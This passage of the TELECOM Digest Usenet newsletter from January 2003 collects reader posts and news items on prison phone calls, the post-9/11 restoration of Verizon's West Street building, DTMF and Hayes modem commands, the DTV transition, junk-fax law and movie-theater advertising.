>> refused. The inmate then begins to limit calls to essential >> communications and not ""I was bored and thought I would call."" > For calling his family, why should he need a better reason than ""I felt > like it""? Hey, y'know, I think I can come up with a pretty powerful argument against allowing such calls, or at least stringently limiting them. It's such a wild, ""out there"" idea that you may have trouble grasping the concept, but try to stay with me on this. OK? Here goes. BECAUSE HE'S IN FREAKIN' PRISON!!! It's not a damned country club. It's PRISON. We as a society have decided that there are a certain group of people that we just can't live with, at least until they clean up their acts. Sure, in an ideal world it might be nice if everybody could be treated absolutely equally no matter what, but let's face it: some people renege on their membership dues. Then our Esteemed Moderator goes on to say: > [TELECOM Digest Editor's Note: Prisoners (in Illinois at least, and > I assume most states) are NOT permitted to 'have feelings' or > 'opinions' or ideas about anything. If prisoners were allowed to > have ideas on their own, or feelings, next thing you know, they might > decide to try and act on their feelings/ideas. Where would the corr- > ections industry be in that case? And God forbid they should actually > build a prison right in Chicago, where the wives and mothers and > children could actually hop on a local bus to get there and visit for > a few minutes every day or two. Pat, let me ask you this. If the prison system were changed the way you would have them change it, exactly what would be the incentive for people to want to avoid coming back to prison after their release? Even as it stands now, with colour TV's, weight rooms, conjugal visits, etc., many prisoners now enjoy a standard of life as good as, or better, than they had outside. Isn't the idea to: A) Punish, and B) Encourage better future behaviour (by making people not want to return to prison)? Boy, I'll bet you're a real fan of Sheriff Joe down there in Arizona huh? :-) > I was downtown one day with a friend; after we had had lunch I walked > with her back to the train station where she was getting a train to > go home. This was in the days before cell phones; I wanted to make a > quick call and stopped to use a payphone in the lobby of the federal > prison. She sat in a chair in the lobby while I went in the payphone > booth. When I came out she said, ""my, what a nice building this is; > is it an office building or an apartment complex?"" I told her it was > the Metropolitan Correctional Center, a federal penitentiary. She > got these big saucer like eyes, found it hard to believe. I told her > ""the men who are in here are here in the custody of the Attorney > General of the United States or his authorized representative."" I had > just said that when a door opened and a group of men came in, with > a woman (female guard) escorting them. They had all been over at the > nearby federal courthouse (across the street from Dunkin Donuts) for > the daily court hearings for prisoners. Many of them had cups of > coffee or beverages and donuts in hand. Obviously the female guard > had let them stop in Dunkin Donuts on the way back from court. > ""Stop and stand here,"" said the lady. The men all obediently stopped > there while she signed herself and them back in with the receptionist > in the lobby. ""Go fetch the elevator and wait for me to get on with > you,"" she said. The handful of men walked over, called the elevator > and waited for her. > My friend said, ""aren't they afraid those guys will run off, etc"" > I told her, ""they wouldn't dare ... they are too smart to do that."" > The feds even allow a select number of the guys to walk around > downtown on their own to do shopping each day, or go to work. They > have to be in and out at a certain time, *or* be treated as an > escaped prisoner. The guys know better than to try that. In many > respects, the feds are so much more enlightened on prison reform issues > and proper care of inmates than the states are. The prisoners know > that if they cannot make do at MCC, their next stop may be Marion, IL > or Terre Haute, IN. The feds know it also, so they all smile > graciously at each other and the prisoners stay in line. PAT] This all just makes me feel really, really nauseous. To quote Dennis Miller, ""it's not supposed to be fun. It's supposed to be unpleasant. IT'S PRISON!"" And now I'll turn the microphone over to Dennis himself. Please visit: http://www.telussucks.info/prison.mp3 The download is just under 4 megs and the file plays for just under six minutes. It's VERY enlightening (also entertaining - Dennis is a funny, funny man). [TELECOM Digest Editor's Note: At this point, Joey sent in a corrected URL for his message. He continues: Subject: Oops Reply-To: joey@telussucks.info In my last post I gave a URL to download a particular MP3. I've found that in some circunstances, this can foul up and/or crash IE. So instead, try this: http://www.telussucks.info/mp3/ Then click on the ""prison.mp3"", or right-click it to save to your local disk. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: When Joey gets over his nausea, maybe he will continue his work getting the Telecom Archives 2nd Edition CD out in the mail. More were recently mailed, a half-dozen orders which were received by me this past week have been transmitted to him, and I understand everything recieved in the past couple days will go in the mail tomorrow. After this weekend, let me know if you are still lacking your copy if you made a donation. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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Townson Verizon Building at Ground Zero Returns to Life (Greg Monti) Book Review: Internet and Intranet Security Management (Rob Slade) Nationwide Paging Service (John Beaman) Alcatel Phone Switch Reseller (pds) Re: What is Relation Between DTMF, v.22 and Hayes Commands? (Sam Etler) Re: Will Your TV Become a Spy? (John Higdon) Central Office/Exchange Name Project (Alex Kasper) Re: Pacific Bell Central Office Names (Clarence Dold) Re: Extinction (John Higdon) Re: Extinction (Ron Chapman) Re: ExtendAIR AirPort Antennas (John R. Levine) Re: Junk Fax - A Question and a Tactic (John R. Levine) Re: Call Blocking Box For All Numbers From a Given Country? (Alex Kasper) Motorola and Pioneer Work Together to Speed Transition (Monty Solomon) Sprint, Warner Offer Music Service on Cell Phones (Monty Solomon) Consumer Groups Seek Action on Cable Rate Hikes (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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Article at http://www.nytimes.com/2003/01/06/nyregion/06VERI.html The gist of the story: The Verizon building at 140 West Street in Manhattan, New York City, was built as The New York Telephone Building in 1926. It was a central office as well as an office building, and was the corporate headquarters for New York Telephone for a while (not recently). The building was built to withstand the great weight of the mechanical switching equipment of the 1920s, which put the building in a good position to limit damage from the terrorist attack at the World Trade Center across the street. Steel beams from the collapsing Trade Center flew into the Verizon building, some of which tore off 8 stories of an outside wall and pounded through several concrete floor slabs. The slabs were designed to bear 250 to 300 pounds per square foot. Switching equipment was exposed to the elements for many months. In some cases the floor had fallen away under computer equipment which was found hanging from power cables from above. The building lost commercial power and its generators became useless when the generator rooms in some of the five basement levels flooded. Battery power held up most of the equipment until 10:21 PM on the day of the attack. To restore service to Wall Street area buildings, including the exchanges, new cables were run at street level to other central offices. Cables entering the vault of 140 West Street were cut off with chain saws and spliced to new cables. The CO supported 300,000 POTS lines and 4.5 million data curcuits. Not all of those needed to be restored: 35,000 of the POTS lines served the WTC and did not need to be re-established. There are now 34,000 POTS lines being served from restored switches at 140 West Street and the building is again earning revenue for Verizon. Office staff won't move back in until late 2003. Bronze work of whales, pelicans and sea horses that ornaments an entranceway on the side facing 7 World Trade Center was mostly destroyed. Restorers are copying the bronze work from a second entrance to restore the destroyed one. The article in the printed newspaper is accompanied by a photo of a broken terra-cotta cinder block wall facing out onto the site of the collapsed 7 WTC. There is also a photo of a portion of a magical mural showing a candlestick-style telephone on a sunburst background on a blue field with a gold surround. And a photo of linen murals on the ceiling of a vaulted lobby. They will be cleaned and restored, too. The web version only has the first photo. Greg Monti, New York, New York, USA gmonti@mindspring.com greg.monti@verizon.net ------------------------------ From: Rob Slade Organization: Vancouver Institute for Research into User Date: Thu, 9 Jan 2003 08:05:44 -0800 Subject: Book Review: Internet and Intranet Security Management BKIISMRS.RVW 20020825 ""Internet and Intranet Security Management"", Lech Janczewski, 2000, 1-878-28971-3, U$69.95 %E Lech Janczewski %C 1331 E. Chocolate Ave., Hershey, PA 17033-1117 %D 2000 %G 1-878-28971-3 %I IRM Press/Idea Group %O U$69.95 800-345-432 fax: 717-533-8661 cust@idea-group.com %O http://www.amazon.com/exec/obidos/ASIN/1878289713/robsladesinterne %P 302 p. %T ""Internet and Intranet Security Management: Risks and Solutions"" There is a heavy emphasis, in the preface, on the book's being up to date. Yet the very first article relies on survey data that was three years old at the time the essay was written. Part one supposedly talks about the state of the (security, one assumes) art. Chapter one is a vague and superficial look at random topics and technology related to security, plus results of the aforementioned opinion poll. A list of Internet security problems, and solutions that are not connected to the difficulties, make up chapter two. Part two deals with managing Internet security. Chapter three has terse descriptions of a number of theories of trust, related to some generic security concepts. There are brief overviews of the TCSEC (Trusted Computer System Evaluation Criteria), Common Criteria, and not-really-the-BS7799 in chapter four. Out of thirty three pages in chapter five, three discuss the general subject of Web security, while there is almost nothing on the titular topic of management of Web security. Part three reviews cryptographic and technical security standards. (There are a great many grammatical errors, and the authors use almost-but-not-quite standard terminology.) Chapter six is an opinionated piece, but does touch on some basic cryptographic ideas. Myths and limitations of cryptography are listed in chapter seven. Chapter eight has descriptions, that are both overly technical and incomplete, of ISO cryptographic standards. Part four talks about law and security. Chapter nine discusses privacy, but only in regard to employer monitoring of employee email. The weaknesses of the New Zealand privacy law are commented on in chapter ten. It is difficult to say that any audience would benefit from this vague collection of unfocused ideas. copyright Robert M. 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Good Samaritan National Campus 605-362-3331 ------------------------------ From: shanep00@yahoo.com (pds) Subject: Alcatel Phone Switch Reseller Date: 9 Jan 2003 05:56:11 -0800 Organization: http://groups.google.com/ I am looking for Alcatel reseller (phone switches) on the East Coast (USA). The only one I know of is Verizon. Know any others? Thanks. ------------------------------ Date: Wed, 8 Jan 2003 18:29:20 CST From: Sam Etler Subject: Re: What is Relation Between DTMF, v.22 and Hayes Commands? > Can anyone on this list explain this to me? Entirely different beasts all of them. DTMF: Dual-Tone Multifrequency. This is a set of tones used by customer equipment to signal information to the Public Switched Telephone Network in an inband fashion. The grid of tones in Hz is: 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D The A through D tones were used in the US Military's Autovon system. When you dial a phone number and hear musical tones as you press the buttons, that's DTMF. V.22: ITU-T (formerly CCITT) standard for transmitting 1200 bit per second duplex data over the PSTN or leased lines. It's compatible with the Bell 212A standard. V.22 bis covers 2400 bps, V.32 covers 9600 bps, V.32 bis covers 14400 bps and lower, V.34 covers up to 28800 bps, V.34 bis covers up to 33600 bps, etc. Hayes commands: A cryptic command set (that every old BBSer still probably has memorized) that was developed in 1981 by Hayes to control their modems. Quickly was picked up by most of the rest of the industry. The commands start with AT which stands for Attention. A command like ATA makes the modem go into answer mode. A command like ATDT*67,14144761989 makes your modem dial 1-414-476-1989 and prepend it with *67 to block caller ID. There's literally a hundred or more commands that eventually made it into the more featured modems. I'm sure a quick Google search would come up with many lists. sam ------------------------------ From: John Higdon Subject: Re: Will Your TV Become a Spy? Organization: Green Hills and Cows Date: Wed, 08 Jan 2003 16:40:44 -0800 In article , Paul Wallich wrote: > Free (marginal cost) plus an illicit thrill beats $10 for the ticket, > $5 for the soda and snacks and the knowledge that you're lining the > pockets of people you believe to be despicable. I have a hard time seeing that. I am a total Hollywood junkie. I regularly attend movies at Bay Area theaters. I have thousands of DVDs (all duly purchased) that I view on a 120"" screen (and suitably matching sound system) at home. I have never had the slightest desire to download a movie off the Internet to watch on my computer. > It's amazing to watch the proprietors of an almost entirely > discretionary industry working so hard to make their customers wish > them ill. It's as if McDonalds hired greeters at every franchise to > shout at people, ""We think you're stupid for eating our food! Go > away!"" On this point, we are in full agreement. I have never seen an industry treat its own customers like potential criminals like the entertainment industry does. If it would do what it does best (produce entertainment) and stop worrying about this control freak obsession from which it suffers, it would go on making bucket-loads of money ... just as it always has. I have always maintained if the public knew that it could buy a reasonably-priced high-quality DVD of a film within a short period after its theatrical release that the bootleg industry would be dealt a serious blow. So far, reality confirms that. Furthermore, studios are discovering that the DVD market is pure gold. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Central Office/Exchange Name Project Date: 8 Jan 2003 17:12:49 -0800 Organization: http://groups.google.com/ Found it. This guy has spent much time categorizing old exchange names, but it is interesting. On the site you can find the entire office Bell System exchange list for most number combination as well as scads of letters from people who want to explain their own bit of history. Check it out if you have time. http://ourwebhome.com/TENP/TENproject.html ------------------------------ From: dold@37.usenet.us.com Subject: Re: Pacific Bell Central Office Names Date: Thu, 9 Jan 2003 03:19:44 UTC Organization: a2i network Loonquawl wrote: > Actually, Oakland Trinidad is the rate center, not the exchange name. Oops. I knew that ;-) After I posted it, I was thinking there was something wrong with what I had done ... that was my dad's exchange, and there was something that bothered me about it, lingering after the post. Then I remembered, his exchange was Mullberry, or something like that, which I found in I-don't-know-what source, but I happened to see on the side of an abandoned Southern Pacific railroad station not far from his house. It was so long ago that I found that bit of trivia, that I had forgotten that it wasn't the NANPA that revealed it to me. Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. ------------------------------ From: John Higdon Subject: Re: Extinction Organization: Green Hills and Cows Date: Wed, 08 Jan 2003 16:26:39 -0800 In article , Joey Lindstrom wrote: > The point here is that the move to DTV is not change for the sake of > change. Correct. The FCC saw all that valuable spectrum in the VHF TV bands and realized that it could get a really nice price for it from telecom companies. But first it had to dump the TV broadcasters ... and get the public to approve of the deal in the bargain. The elixir: DTV ... or more precisely, HDTV. Wow! > DTV is a huge, HUGE improvement over NTSC - it's progress, > pure and simple, and I don't think such a tremendous improvement in > the overall quality of television should be held back (or held off > completely) because of a few people who won't want to spend fifty > bucks on a converter when the time comes - again, assuming their > existing analog sets still work at all when the time comes. And how about the TV stations that simply use the digital spectrum for several low-res programs rather than HDTV? Or worse, how about the stations that just sell the high-speed data stream to outside parties and only use a portion of it for TV broadcasting per se? I think you will find that the issue is a little more complex than spending fifty bucks on a converter. > And anyone buying an expensive analog TV today, knowing what's coming, > is a complete idiot who gets what he/she deserves. Anyone buying a digital set today may find himself in exactly the same situation. As we speak, those same folks who are pushing for ""closing the analog hole"" are also pushing for a re-design of the digital standards to include the ""broadcast flag"" and many other ""rights management"" features that will make today's system completely obsolete. > If you're convinced that analog is doomed and that converter > equipment will never be made available, fine - either make do with > what you've got for now (and buy new in 2009), or if your current > set is pretty much toast now, buy something just good enough to get > you through the next six years. That would be a wise choice for everyone at this stage of DTV development, especially with the copyright industry pushing long and hard to make sure that the public is hamstrung at every turn. There are many in Congress who listen very hard to major campaign contributors in Hollywood. > A $5000 bigscreen that isn't digital/HDTV is a stupid, > stupid purchase right now - especially since, when it comes to big > screens, HDTV's are not really much more expensive than analog and are > ""future proof"". That anything one buys today with regard to DTV is ""future proof"" relies on a very shaky premise indeed. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Wed, 8 Jan 2003 20:27:57 -0500 From: Ron Chapman Subject: Re: Extinction In article , Joey Lindstrom wrote: > The point here is that the move to DTV is not change for the sake of > change. DTV is a huge, HUGE improvement over NTSC - it's progress, > pure and simple, and I don't think such a tremendous improvement in > the overall quality of television should be held back Joey, Do you really, *really* believe that DTV is about quality? I mean, that's what they're trying to sell it to you based on. But do you REALLY believe that? It's not about quality. Tossing aside the obvious advantages of digital with respect to the control it gives the content providers, DTV is all about QUANTITY. That's right; it won't be HDTV when it all shakes out. It'll be SDTV, and it'll be 4 times as much. The average American doesn't want quality, he wants quantity. And let's face it: nobody wants to see the hairs on Roseanne Barr's face in all their glory. No, Americans want MORE CHANNELS. And the industry will be happy to take the bandwidth they have and shove 4 times as many COMMERCIALS down our throats. Ah, the glory of not giving a damn. I don't really care; I won't buy a converter box, because I've hated converter boxes since before you were born. I have TVs and VCRs with perfectly good tuners, thank you. I don't need a clunky box in the middle to prevent me from using those tuners. And I really don't need those commercials, either. Hollywood is wondering why I'm not watching TV anymore. Maybe it has to do with commercial time creeping up into the 20 minutes per hour range. (I watched the Carol Burnett special a couple years ago, and taped it in case I wanted to keep it. I paused during the commercials. Including opening and closing credits, the total amount of actual program time was 40 minutes. That's right -- forty minutes.) My cable company raised their rates a couple bucks this past November. I called them and started asking questions about how much I pay, and I told her right up front: I'm looking around. I told her that I was unhappy with paying more money for the privilege of seeing these commercial stations that are shoving more and more minutes per hour of commercials down my throat. She immediately -- IMMEDIATELY -- offered to rescind the increase for me for the next 12 months. I do get tired of the commercial channels charging the cable companies more per subscriber every year, only to then increase the commercial content. ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: ExtendAIR AirPort Antennas Date: 8 Jan 2003 21:33:29 -0500 Organization: I.E.C.C., Trumansburg NY USA > Dr. Bott's ExtendAIR Omni is an Apple-certified external antenna that > expands the range of Apple's AirPort Extreme Base Station (antenna > port required). PC users, on the other hand, save time and money by making a WiFi antenna out of an old Pringles can. See, for example: http://www.netscum.com/~clapp/wireless.html John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Junk Fax - A Question and a Tactic Date: 8 Jan 2003 21:40:43 -0500 Organization: I.E.C.C., Trumansburg NY USA > Same as it's been since 1991. Unsolicited faxed ads are completely > illegal, and you can sue the sender for $500 per fax. > [TELECOM Digest Editor's Note: Does that also apply where you have no > actual fax machine, but contract with a service (like e-fax) ... The FCC said quite a while ago that a PC with a fax modem is a fax machine for the purpose of the TCPA, and nobody hates junk faxes as much as someone with a virtual fax farm with a range of DID numbers attached to fax modems to give all the users their own numbers, which a junker sequences through dumping junk into each number. There's no case law I know about fax-to-email systems. I don't know whether eFax or the subscriber would have standing to sue. eFax certainly doesn't like junk faxes, and they have a web page where you can report the junk fax, attest that it's indeed junk from someone you don't know, but I haven't heard about any court cases yet. > Anyway, I suppose the sender would claim (as they do with much > email spam) that what they did was not 'unsolicited'; that you had > signed up at one time or another, in some place or another, to get > their dream vacation faxes, etc. PAT] Of course. But they'd better have documentation that will persuade a judge that they're not blowing smoke. Particularly after they've heard a few cases, judges get pretty sceptical about anything that junk faxers say. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 8 Jan 2003 19:11:26 -0800 Organization: http://groups.google.com/ Yep, or what if your outbound call center is in Arizona but you want customers to always call your office in New York? It's easier to send the New York number and not have to deal with it. Eventually comsumers will understand that Caller ID was intended merely as advice and they should always take it with a grain of salt - especially if it's someone calling from ""your bank"" with a weird request. AK ------------------------------ Date: Wed, 8 Jan 2003 23:57:53 -0500 From: Monty Solomon Subject: Motorola and Pioneer Work Together to Speed Transition Motorola and Pioneer Work Together to Speed Transition to Basic Digital-Cable Ready Television Companies Announce Plans to Begin Testing in 2003 of Independently Developed POD/Host Technology LAS VEGAS, Jan. 8 /PRNewswire-FirstCall/ -- Motorola, Inc. (NYSE:MOT) Broadband Communications Sector and Pioneer Electronics (USA) Inc. today announced that they will begin testing procedures to assure compatibility between Motorola's MediaCipher(R) conditional access system and Pioneer's plasma (flat screen) High-Definition (HD) compatible TVs. The test is the first of its kind to bring together independently developed POD (point of deployment) and plasma HD compatible TV Host technology, and marks the beginning for establishing a real framework for support of DTV receivers, digital recorders with secure interfaces, and other devices for cable systems. Motorola recently expanded its MediaCipher conditional access system to include an OpenCable(TM) POD module, in adherence to the FCC requirements to offer completely separable security for consumer electronics devices. Pioneer has developed a basic digital cable ready television that targets compatibility with OpenCable POD modules such as the Motorola MediaCipher POD. The two companies' engineering efforts will be in compliance with CableLabs OpenCable Host specification and proposed technical standards currently under review by the Federal Communications Commission. The OpenCable compatibility testing will begin at the Motorola MediaCipher integration lab in San Diego, CA as the first step towards the anticipated rollout of compliant consumer TVs in 2003, based on FCC approval of technical standards. http://finance.lycos.com/home/news/story.asp?story=30782463 ------------------------------ Date: Wed, 8 Jan 2003 23:58:56 -0500 From: Monty Solomon Subject: Sprint, Warner Offer Music Service on Cell Phones LOS ANGELES, Jan 8 (Reuters) - Sprint Corp (NYSE:FON) and Warner Music Group on Wednesday announced a deal to offer a streaming music clip subscription service on Sprint cell phones, underscoring the growing trend of joint ventures between recording companies and wireless firms. Under the agreement, Sprint customers can now download ringtone and animated ringtone versions of songs, have an artist announce incoming calls, or sample clips of new music via the wireless streaming music clip subscription service on Sprint PCS Vision phones. - http://finance.lycos.com/home/news/story.asp?story=30782731 ------------------------------ Date: Thu, 9 Jan 2003 00:00:08 -0500 From: Monty Solomon Subject: Consumer Groups Seek Action on Cable Rate Hikes By Jeremy Pelofsky WASHINGTON, Jan 8 (Reuters) - Consumer advocates on Wednesday slammed the latest round of rate hikes for cable television service and said they would push Congress to intervene to protect consumers. The Federal Communications Commission last week reported that cable rates skyrocketed 6.3 percent during the 12 months ended June 30, 2002, almost six times the 1.1 percent rate of inflation and cable operators over the last several weeks have unveiled a new round of price hikes. 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By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: J Kelly Subject: Re: Extinction Date: Thu, 09 Jan 2003 13:39:02 -0600 Organization: http://extra.newsguy.com On Wed, 08 Jan 2003 11:09:01 -0700, Joey Lindstrom wrote: > The point here is that the move to DTV is not change for the sake of > change. That's right, they sold off the now out of core analog tv spectrum so Slick Willy Clinton could balance the federal budget. That is what the change was all about, now they are crying because it turns out nobody wants that previously overvalued spectrum due the the telecom bubble bursting. > DTV is a huge, HUGE improvement over NTSC - it's progress, > pure and simple, and I don't think such a tremendous improvement in > the overall quality of television should be held back (or held off > completely) because of a few people who won't want to spend fifty > bucks on a converter when the time comes -- again, assuming their > existing analog sets still work at all when the time comes. I have seen no such converters yet, and the deadline for ALL stations (even non commercial) to be digital is only a few short months away on May 1, 2003. In fact, Congress is being pressured to outlaw ANY new device with an analog video output from being sold. So much for these cheap DTV convertors if this actually happens. > If you're convinced that analog is doomed and that converter > equipment will never be made available, fine - either make do with > what you've got for now (and buy new in 2009), or if your current > set is pretty much toast now, buy something just good enough to get > you through the next six years. 2006 is the current cutoff. Some talk has been made about making it 2007 instead. Also, until (H )DTV is available to 85% of people in a given market, analog wont go away, but they are trying to eliminate that rule now also which can be accomplished by making cable carry (H)DTV since 80%+ of viewers are on cable anyway. These viewers will use the set top box the cable company gives them to convert to analog. That just forces the remaining <20% of viewers who use OTA to buy the recievers. > A $5000 bigscreen that isn't digital/HDTV is a stupid, stupid > purchase right now - especially since, when it comes to big screens, > HDTV's are not really much more expensive than analog and are > ""future proof"". Very true, although most (H)DTV sets I've seen do NOT include an 8VSB tuner, which maybe isn't so bad since tuners are constantly being improved over the earlier generations which seemed to have some problems. The High Def will not improve anything I see on TV. Most of what is on TV is crap and will remain crap whether in NTSC or High Def. The average viewer only cares who Aly McBeal is sleeping with this week, not the quality of the picture. Most places I walk into have a terrible quality picture and the viewer doesn't seem to notice. I'm used to seeing broadcast quality video so I do notice (I'm a transmitter man for a TV station). I put the ""H"" in parenthesis because there is no FCC requirement for any broadcaster to use High Definition, only DTV. There are 18 different formats of DTV, only a few of which are High Def. ------------------------------ From: jmeissen@shell1.aracnet.com (John Meissen) Subject: Re: Will Your TV Become a Spy? Date: 9 Jan 2003 19:52:29 GMT Organization: Aracnet Internet In article , Monty Solomon wrote: > Yet studio execs remain on the warpath. As movies are increasingly > broadcast and sold in digital format, Tinseltown execs are panicked > that consumers will make infinite numbers of perfect digital copies > and share them over the Internet. I can believe that studio and theater executives would like to have total control over who can view movies and where they can view them. A significant amount of revenue is being generated by selling advertising that must be viewed by the captive theater audience. People who went to the theater have generally been treated to various screen advertising while waiting for the movie to start. However, now the operators are forcing patrons to sit through additional advertising after the appointed starting time, after the lights have dimmed. While this has traditionally been a time for showing previews of coming attractions it's more often now a series of commercials for Coke, local businesses, etc. A few minutes of sponsorship is certainly nothing to complain about. But during a recent trip to the theater to watch the latest James Bond movie we had to sit through a full 20 minutes of commercials (not previews!) after the designated start time before the feature film actually started. A friend who saw it at a different theater said his ordeal was a full 30 minutes! When I complained to the theater manager they told me the corporate office was pressuring them because they weren't running more commercials. This is a windfall for the theaters. They have a completely captive audience. There is no easy way for people to avoid the commercials because they aren't going to gamble on the length of the spots and possibly miss the beginning of the movie, and arriving early is the only way to guarantee a decent seat at popular showings. Obviously this is an abuse of the vendor-customer relationship. The second Lord of the Rings episode is 3 hours long. Can you imagine the stress on your bladder if you have to endure an additional half hour of unanticipated commercials on top of the 3 hour feature? Not to mention the outrage over being subjected to that many commercials after spending ~$20 per person for some popcorn, a soda and a seat in the theater. Because of this screw the customer attitude I decided not to see three of the four new releases I had planned on seeing last month. If I have to put up with that crap I'll just wait for them to come out on DVD and rent them to watch on my home theater setup for a fraction of the cost and none of the hassle. I wrote a letter to the theater corporate office telling them as much. However, I'm sure they're already aware of that potential reaction. Obviously it's in the best interests of their corporate pocketbook to have total and complete control over viewing abilities. It's absolutely imperative for you to have to watch the movies in a manner under their total control. Even DVD's will eventually fall to their greed.... already they are including commercial content in the portions that you are not allowed to skip. But at least with a DVD you can (currently) put it in the player and then go off to make popcorn or do something productive while it advances to the menu. john- [TELECOM Digest Editor's Note: John, you won't get off that easily. They're going to put commercial messages on the DVDs also. Not thirty minutes' worth, but a few. Those commercial messages are a nuisance, especially after you bought a ticket to go in and watch the movie in peace. Our local movie house here (the Independence Cinema) has four screens. In addition to the expected images on the screen ('no smoking allowed', 'turn off cell phones/pagers', 'enjoy *our* refreshments', [which you bought and paid for at inflated prices]), they are now showing blurbs for Marvin's Grocery (but not Walmart!), all the various car dealers in Montgomery County, K-Mart, and more. Our theatre prices are not bad however, six dollar tickets, reduced to five dollars for afternoon matinees, etc. Where they really get you are the three dollar little boxes of popcorn and small cokes. PAT] ------------------------------ From: joe@obilivan.net Subject: Re: What is Relation Between DTMF, v.22 and Hayes Commands? Date: Thu, 09 Jan 2003 10:08:51 GMT Organization: Cox Communications There isn't any relationship. DTMF is ""touch tone"" for inband telephone audio signalling, the other two deal with commands and signalling for analog modems. valentin tihomirov wrote: > Can anyone on this list explain this to me? ------------------------------ From: Joey Lindstrom Date: Thu, 09 Jan 2003 08:25:17 -0700 Subject: McRotten's Reply-To: joey@telussucks.info On Wed, 8 Jan 2003 19:07:44 EST, Paul Wallich wrote: > It's amazing to watch the proprietors of an almost entirely > discretionary industry working so hard to make their customers wish > them ill. It's as if McDonalds hired greeters at every franchise to > shout at people, ""We think you're stupid for eating our food! Go > away!"" Didn't McD's in France recently do exactly that? Joey Lindstrom Telus Sucks http://www.telussucks.info ------------------------------ Date: Thu, 9 Jan 2003 00:02:53 -0500 From: Monty Solomon Subject: Garmin Unveils Global Positioning Device With Palm NEW YORK, Jan 8 (Reuters) - Garmin Ltd. (NASDAQ:GRMN) on Wednesday unveiled a handheld computer that combines its global satellite positioning technology with Palm Inc.'s (NASDAQ:PALM) personal information software. Garmin's iQue 3600 personal digital assistant (PDA) with built-in Global Positioning System (GPS) capabilities, is expected to begin sales in the 2003 second quarter, and will be sold at large electronics retailers, such as Circuit City Stores, for about $590. - http://finance.lycos.com/home/news/story.asp?story=30791645 ------------------------------ Date: Thu, 9 Jan 2003 00:04:47 -0500 From: Monty Solomon Subject: Sony's New Products For 2003 Put The User in Charge Sony's New Products For 2003 Put The User in Charge; Company Focused on A 'World About U' New Generation of Mobility and Broadband-Networked Products Take Center Stage LAS VEGAS, Jan. 8 /PRNewswire/ -- CES, Booth #N109 -- Highly customized entertainment networks designed by users to meet the demands of their individual lifestyles is the common thread for the dozens of new audio, video and IT devices unveiled by Sony here today. At a conference highlighting strategic advancements in the delivery and creation of high quality, versatile entertainment, Sony Electronics President Fujio Nishida reported: ""For more than 50 years, we've strived to hold the consumer spellbound ... to create products that empower you as a consumer to follow your heart. This new generation of Sony hardware and technology can be enjoyed by consumers everywhere."" Among the key products Sony demonstrated on the eve of the annual Consumer Electronics Show were: ... http://finance.lycos.com/home/news/story.asp?story=30793345 ------------------------------ Date: Thu, 9 Jan 2003 00:05:42 -0500 From: Monty Solomon Subject: Wireless Internet Group Sets Standard For Service CHICAGO, Jan 8 (Reuters) - As high-speed wireless Internet access begins to spread in hotels, cafes and airports, a trade group is trying to establish a global standard for service in the emerging industry. Wi-Fi Alliance on Thursday unveiled a new brand called ""Wi-Fi ZONE"" that will allow users to recognize service providers that meet and maintain certain requirements in offering wireless Web access using the Wi-Fi standard. - http://finance.lycos.com/home/news/story.asp?story=30793409 ------------------------------ Date: Thu, 9 Jan 2003 00:08:05 -0500 From: Monty Solomon Subject: Bill Gates Showcases New Technology for 'Smart Living' Bill Gates Showcases New Technology for 'Smart Living' in the Digital Decade 2003 CES Keynote Highlights Smart, Connected Devices and Services That Help People Keep in Touch and Be Entertained; Unveils Watches From Leading Manufacturers Built on Smart Personal Objects Technology LAS VEGAS, Jan. 8 /PRNewswire-FirstCall/ -- In his keynote address at the 2003 International Consumer Electronics Show (CES), Microsoft Corp. (NASDAQ:MSFT) Chairman and Chief Software Architect Bill Gates outlined his vision for ""Smart Living"" in the Digital Decade, showcasing innovations that included a new generation of wristwatches based on Microsoft's Smart Personal Objects Technology (SPOT). In addition, Gates discussed strong progress on the company's cornerstone products -- including Microsoft(R) Windows(R) XP, the MSN(R) network of Internet services and the Xbox(TM) video game system -- and highlighted a growing number of alliances with the consumer electronics and media industries. From demonstrating a portable media player device platform code-named ""Media2Go"" to providing a visionary glimpse of the home of the future, Gates revealed how smart, connected devices and services will simplify people's daily lives and revolutionize how they keep in touch and have fun. http://finance.lycos.com/home/news/story.asp?story=30794045 ------------------------------ Date: Thu, 9 Jan 2003 00:36:54 -0500 From: Monty Solomon Subject: Lexmark invokes DMCA in toner suit By Declan McCullagh Staff Writer, CNET News.com January 8, 2003, 7:28 PM PT Printer maker Lexmark has found an unusual weapon to thwart rivals from selling replacement toner cartridges: the Digital Millennium Copyright Act. A federal judge in Kentucky has 